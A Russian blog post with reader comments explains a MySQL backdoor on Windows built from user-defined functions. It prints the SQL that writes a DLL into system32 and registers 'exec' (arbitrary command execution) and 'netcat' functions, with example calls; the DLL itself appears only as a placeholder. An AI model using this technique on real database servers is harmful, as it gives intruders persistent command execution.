MySQL бэкдор для Windows

В одном из своих постов однажды я уже упоминал возможность создания SQL-бэкдоров, в частности для MySQL. В отличие от MSSQL и Oracle, где имеются широкие возможности по созданию сложных хранимых процедур и функций, для MySQL проблема безопасности внутренней инфраструктуры баз данных является не столь освещенной и разработанной. Прежде всего это связано с отсутствием средств для создания различного рода malware на уровне БД, а именно встроенного скриптового языка – имеется лишь ограниченный набор конструкций для создания простейших циклов и условий. Но недавно случайно для себя обнаружил довольно любопытный пример MySQL-бэкдора, основанный на использовании UDFUser-Defined Functions (определяемые пользователем функции). Такое средство призвано расширить функционал MySQL с помощью специально оформленного и предварительно скомпилированного кода на C++, который реализует дополнительные возможности в контексте базы данных, при чем использование таких функций ни чем не отличается от любых других встроенных функций. Представленный выше бэкдор работает только под Windows XP, так как для создания UDF-функции необходимы права на запись в папку, содержащую системные библиотеки. В старых версиях MySQL этой директорией была С:/mysql/bin/, но в версиях > 5.1 поиск необходимой dll будет производиться в C:/windows/system32/. В любом случае, в Windows Vista трюк с UDF работать не будет, так как UAC не позволит записать ни в одну из этих папок.
Наибольшую сложность представляет написание специального кода на C++. Сам же процесс импортирования функции не вызывает трудностей:

USE mysql;
DROP TABLE IF EXISTS `foo`;
CREATE TABLE `foo` (
  `line` blob
) TYPE=MyISAM;
INSERT INTO `foo` VALUES ('[bin]');
SELECT * FROM foo INTO DUMPFILE 'c:/windows/system32/winudf.dll';
CREATE FUNCTION netcat RETURNS integer SONAME 'winudf.dll';
CREATE FUNCTION exec RETURNS integer SONAME 'winudf.dll';
DROP TABLE foo;

Автор бэкдора реализовал две функции:

  • exec – выполнение произвольных команд
    SELECT exec('echo foo > c:/bar.txt');
  • netcat – реализация всеми известного TCP/IP-инструмента
    SELECT netcat('127.0.0.1');

И, как оказалось, все действительно работает 😉


Posted

in

by

Comments

9 responses to “MySQL бэкдор для Windows”

  1. cr0w Avatar

    Интересная штука. (:
    Правда, примеру этому уже пара лет, наверное. Помню, тогда еще малварина была, которая умела троянить win-машины с mysql этим кодом.

  2. Kuzya Avatar

    Интересная вещь. Cегодня надо протестить на локалхосте =)
    P.S. То что на висте не робит ИМХО не важно. Кто догадается держать на ней сервер? =) Главное что бы работало в 2000/2003/XP да и достаточно будет.

  3. Raz0r Avatar

    @Kuzya
    Для висты, действительно, не важно, но например в Windows Server 2008, где также имеется UAC, работать не будет.

    @cr0w
    Что правда, то правда 🙂 Автора бэкдора можно смело отенсти к категории олдскул

  4. xCedz Avatar
    xCedz

    🙂 потестим.

  5. opium Avatar
    opium

    прикольная вещь! =) Только что узнал о ней =)

    Так что у нас тут выходит…

    INSERT INTO `foo` VALUES (‘[bin]’);
    SELECT * FROM foo INTO DUMPFILE ‘c:/windows/system32/winudf.dll’;

    вместо [bin] должен быть бинарный код ДЛЛ библиотеки и мы записываем её непосредстна в систем32.

    Эта строчка,
    CREATE FUNCTION exec RETURNS integer SONAME ‘winudf.dll’;
    как я понял регистрирует функцию из нашей библиотечки

    а эта её вызывает:
    SELECT exec(‘echo foo > c:/bar.txt’);

    Я всё правильно понял?
    Ну если всё так, то зачем нам создавать и записывать свою библиотеку winudf.dll, если можно воспользоваться уже готовыми библиотеками из систем32, которые содержат ВинАпи функции?

    Было бы чудесно, если бы показали код бинарника, сорцы этого самого winudf.dll

  6. opium Avatar
    opium

    а всё, разобрался =)
    советую свем интересующимся прочитать это:
    http://www.mysql.ru/docs/man/Adding_UDF.html
    =)

  7. Веля Солнышкин Avatar
    Веля Солнышкин

    Ух епт…Ещё б асилить бы всё это :Р Это стопудоф придётся доооолго изучать маны MySql =_=

  8. Dlex Avatar
    Dlex

    winudf.dll где взять?)

  9. Spider Agent Avatar

    Блин, прикольная штука 🙂 надо поюзать.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.